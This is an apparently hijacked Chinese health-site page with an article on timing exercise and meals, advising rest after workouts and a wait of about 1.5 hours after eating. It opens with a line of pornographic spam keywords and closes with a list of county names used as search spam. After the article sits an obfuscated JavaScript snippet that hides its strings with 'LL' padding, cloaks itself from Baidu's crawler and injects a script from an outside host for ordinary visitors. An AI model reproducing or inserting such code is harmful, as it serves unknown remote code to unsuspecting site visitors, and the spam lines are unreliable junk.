亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

運(yùn)動(dòng)后吃飯還是吃飯后運(yùn)動(dòng)呢?

2017-04-16 10:40:26  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:現(xiàn)在有很多人都已經(jīng)加入到了運(yùn)動(dòng)的行列當(dāng)中,因?yàn)檫\(yùn)動(dòng)對(duì)人體的好處是非常多的,不但能保持良好的身材,關(guān)鍵是對(duì)預(yù)防很多疾病都有很好的效果

現(xiàn)在有很多人都已經(jīng)加入到了運(yùn)動(dòng)的行列當(dāng)中,因?yàn)檫\(yùn)動(dòng)對(duì)人體的好處是非常多的,不但能保持良好的身材,關(guān)鍵是對(duì)預(yù)防很多疾病都有很好的效果,尤其是出現(xiàn)三高現(xiàn)象的人群,只有通過運(yùn)動(dòng)才能很好地調(diào)控自己的身體,那么運(yùn)動(dòng)后吃飯還是吃飯后運(yùn)動(dòng)呢?有很多人對(duì)這個(gè)問題很疑惑,一起研究一下吧!

運(yùn)動(dòng)健身時(shí)在吃飯的時(shí)間安排上是很講究的,飯前、飯后不宜從事劇烈的運(yùn)動(dòng),運(yùn)動(dòng)和吃飯之間要有一定的間隔休息。運(yùn)動(dòng)時(shí),我們?nèi)梭w為了保證肌肉骨骼氧氣和營養(yǎng)物質(zhì)的

氧分供應(yīng),在中樞神經(jīng)系統(tǒng)的調(diào)節(jié)下,全身的血液進(jìn)行重新分配,使消化腺的分泌大大減少,從而影響了胃腸部的消化和吸收。運(yùn)動(dòng)愈劇烈、持續(xù)時(shí)間愈長,消化器官的活動(dòng)就需要更長的時(shí)間來進(jìn)行恢復(fù),因此運(yùn)動(dòng)后即刻人不想進(jìn)食是正常的生理活動(dòng)。一般認(rèn)為,運(yùn)動(dòng)后至少休息30~40分鐘進(jìn)食較為科學(xué)。同樣,在飯后也不能立即去參加劇烈的體育運(yùn)動(dòng),如果飯后馬上參加劇烈運(yùn)動(dòng),可使正在參與胃腸部消化的血液又重新分配,流向肌肉和骨胳,從而會(huì)影響胃腸的消化和吸收,飯后即刻參加劇烈運(yùn)動(dòng)還可以因?yàn)槲改c的震動(dòng)和腸系膜的牽扯而引起腹痛及不適感,這會(huì)影響人體的健康。

因此,至少在飯后1.5小時(shí)以后才可以進(jìn)行運(yùn)動(dòng)。飯后進(jìn)行不太劇烈的活動(dòng),例如散步及比較和緩的文體活動(dòng),不僅可以幫助消化,對(duì)健康也是有利的。

總之,要根據(jù)運(yùn)動(dòng)健身的實(shí)際需要來選擇營養(yǎng)飲食策略,也就是要缺啥補(bǔ)啥,否則會(huì)事與愿違。由于長期工作過度勞累,易失去營養(yǎng)平衡,結(jié)果造成內(nèi)臟負(fù)荷加重,胃病、心臟病發(fā)病的幾率增加。唯有適量運(yùn)動(dòng)結(jié)合合理飲食才能積極恢復(fù)人體內(nèi)的代謝及營養(yǎng)平衡,保持正常的體重。

一般來說,在吃完飯后進(jìn)行運(yùn)動(dòng)是比較好的一種選擇,但是吃完飯后不能立刻運(yùn)動(dòng),如果吃完飯后立刻運(yùn)動(dòng)的話,會(huì)給腸胃帶來很大的負(fù)擔(dān),嚴(yán)重的可能還會(huì)導(dǎo)致消化不良的現(xiàn)象,最好在飯后一個(gè)半小時(shí)之后才開始行動(dòng)。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
乌拉特后旗| 鄂托克旗| 定南县| 彭水| 新昌县| 土默特左旗| 河池市| 澄迈县| 濮阳县| 清涧县| 建昌县| 六安市| 咸宁市| 雅江县| 中卫市| 清徐县| 繁昌县| 青阳县| 蓬莱市| 莱阳市| 靖宇县| 克东县| 古交市| 霍城县| 韩城市| 江孜县| 甘孜县| 珲春市| 鄂尔多斯市| 布拖县| 望城县| 逊克县| 长宁县| 莱州市| 那曲县| 石首市| 鸡西市| 工布江达县| 庄河市| 湄潭县| 鸡泽县|